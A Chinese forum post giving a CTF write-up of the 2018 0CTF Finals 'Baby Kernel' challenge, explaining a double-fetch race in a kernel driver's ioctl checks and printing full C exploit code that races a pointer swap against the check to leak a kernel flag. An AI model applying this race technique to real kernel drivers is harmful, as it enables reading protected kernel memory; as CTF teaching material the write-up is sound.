首页
社区
课程
招聘
[原创]Linux Kernel Pwn_1_Double fetch
发表于: 2020-10-3 11:15 6147

[原创]Linux Kernel Pwn_1_Double fetch

2020-10-3 11:15
6147

title: Linux Kernel pwn(1)——Double fetch
date: 2020-09-10 01:35:59
tags: Double fetch
categories: kernel

咕咕咕了好久,之前做了一个学长出的内核rop,感觉还是学到了很多,今天做一道Double fetch

double fetch漏洞隶属于条件竞争漏洞,但是他特指在一种内核态与用户态之间的数据访问竞争。

以上是一个经典的Double fetch漏洞:

首先,一个用户态线程准备好了数据(preparedata -> user data)

然后通过syscall切入内核态

内核第一次取用数据时进行了安全检查

当检查通过数据后,第二次取用进行真正的使用

首先解包文件系统:

可以看到fs.sh是打包脚本

##

首先调用misc_register()注册了一个杂项设备baby。

然后有一个baby_ioctl()函数,作为用户态与这个设备通信的接口:

其实就是判断a3是否小于a2+a1.。。用来判断是否越界。

我们再回到caller中看他传进入的到底是什么玩意。

首先是第一个判断.

v2是rdx也就是第三个参数,实际传进来的应该是第三个参数的地址。也就是说,判断第三个参数的地址+0x10是否大于&current_task+0x1358

然后看第二个,v5=v2,相当于是判断是否v5+\(v5+8)大于&current_task+0x1358

于是感觉这个传进来的第三个参数的地址,应该是一个结构体的地址啊orz

并且结构体的第一或二个位置的元素应该是一个指针

看最后一个取结构体的第二个元素判断是否跟flag等长??那第二个元素应该是一个长度,那么也就是说第一个位置是一个指针。

经过我们动态调试:

到达调用► 0xffffffffc03de09b <baby_ioctl+123> call __chk_range_not_ok <0xffffffffc03de000>

可以看到实际上&current_task+0x1358就是0x7ffffffff000,也就是说,这里实际在判断:1.数据的指针是否指向用户态?2.flag的指针是否指向用户态?3.flag的长度是否等于内核中真正的flag的长度?

只要bypass掉这三个,我们就可以把flag打出来。

最后到达这里,判断结构体中*(第一个元素+i)是否等于flag[i],看到这里,盲猜这用户空间传来的结构体是如下的结构:

这个程序乍一看其实没什么问题orz。。实际上是有条件竞争的(内核态与用户态的double fetch)。如果我们先构造一个user_data来通过内核态的验证(此时user_data还是在用户态的,只是把地址送进去了),然后在起一个evil thread来不断劫持用户态的user_data的my_Flag指针指向真正的flag的位置。同时,不停的用ioctl发0x1337进入else if。那么就能通过double fetch的条件竞争bypass内核对my_flag的验证,最后打出来flag即可。

效果:

这个玩意出现在这里很奇怪,它相当于是:

负责将a1,a2本来的两个有符号数转成无符号数相加,然后通过他们的CF标志位判断是否溢出(无符号),而比如说同样的int,那么unsigned int肯定在正数范围内能取到的值大于signed int,那么如果你uint都溢出了,那么你的signed int相加必然溢出。

关于这个宏出现在这里的功能也只能这么想了。。

https://www.xuebuyuan.com/541821.html

https://cloud.tencent.com/developer/article/1432392

 
 
 
➜  2018 0CTF Finals Baby Kernel mkdir core
➜  2018 0CTF Finals Baby Kernel cd core
➜  core mv ../core.cpio
➜  core cpio -idmv < core.cpio
➜  2018 0CTF Finals Baby Kernel mkdir core
➜  2018 0CTF Finals Baby Kernel cd core
➜  core mv ../core.cpio
➜  core cpio -idmv < core.cpio
 
 
#!/bin/sh
 
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
echo "flag{this_is_a_sample_flag}" > flag        //可以看到这里有个flag文件
chown root:root flag
chmod 400 flag
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console
 
insmod baby.ko
chmod 777 /dev/baby
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
setsid cttyhack setuidgid 1000 sh
 
umount /proc
umount /sys
poweroff -d 0  -f
#!/bin/sh
 
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
echo "flag{this_is_a_sample_flag}" > flag        //可以看到这里有个flag文件
chown root:root flag
chmod 400 flag
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console
 
insmod baby.ko
chmod 777 /dev/baby
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
setsid cttyhack setuidgid 1000 sh
 
umount /proc
umount /sys
poweroff -d 0  -f
__int64 init_module()
{
  _fentry__();
  misc_register(&baby);
  return 0LL;
}
__int64 init_module()
{
  _fentry__();
  misc_register(&baby);
  return 0LL;
}
 
 
 
 
 
 
__int64 v2; // rdx
__int64 v2; // rdx
 
 
 
 
 
 
 
 
 
 
 
 
struct user_data{
    char * my_flag;
    int size;
}
struct user_data{
    char * my_flag;
    int size;
}
#define _GNU_SOURCE
#include <stdio.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
 
int Time=1000;
unsigned long long flag_addr;       //真正的flag的位置
int finish=1;
 
struct usr_data{
    char *flag;
    size_t len;
};
 
 
void evil_thread_func(void *a){ //传进来的参数是usr_data的地址
    printf("Evil thread trugger!\n");
    struct usr_data *s = a;
    while(finish==1){
        s->flag = flag_addr;        //改他!改他!
    }
 
};
 
 
int main(){
    setvbuf(stdin,0,2,0);
    setvbuf(stdout,0,2,0);
    setvbuf(stderr,0,2,0);
 
 
    char buf[201]={0};
    char usr_flag[] = "flag{aasdascxcdadwdaw}";
 
 
    struct usr_data usr_data;
    usr_data.flag = usr_flag;
    usr_data.len = 33;
 
    int fd;
    fd = open("/dev/baby",0);   //打开对应设备
 
    int ret;
    ret = ioctl(fd,0x6666);     //发送0x6666
    system("dmesg | grep flag > /tmp/sir.txt");  //通过dmesg获取printk出来的内核态flag地址
 
 
    int file_fd = open("/tmp/sir.txt",O_RDONLY);
    int id = read(file_fd,buf,200);
    close(file_fd);
 
    char *addr;
    addr = strstr(buf,"Your flag is at ");
    if(!addr){
        perror("error!");
        return -1;
    }
 
    addr += 0x10;
 
    flag_addr = strtoull(addr,addr+16,16);    //16进制字符串转unsigned longlong,全局变量flag_addr中此时是真正的flag的地址
    printf("[*]flag addr is : %p\n",flag_addr);
 
    pthread_t evil_thread;
    pthread_create(&evil_thread,NULL,evil_thread_func,&usr_data);       //开一个恶意线程来修改usr data,不断的将user_flag所指向的用户态地址修改为flag的内核地址以制造竞争条件,从而使其通过驱动中的逐字节比较检查,输出flag内容
    //Time=1000
    for(int i=0;i<Time;i++){
        ret = ioctl(fd,0x1337,&usr_data);       //不断地去发0x1337进入第二个if
        usr_data.flag=usr_flag;                 //保证usr.flag指向用户态的空间
    }
    finish=0;                                   //到这里应该已经改完了
    pthread_join(evil_thread,NULL);
    close(fd);
    printf("The flag in Kernel is :\n");
    system("dmesg | grep flag");
    return 0;
 
 
 
 
 
    return 0;
 
}
#define _GNU_SOURCE
#include <stdio.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/ioctl.h>

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 1
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//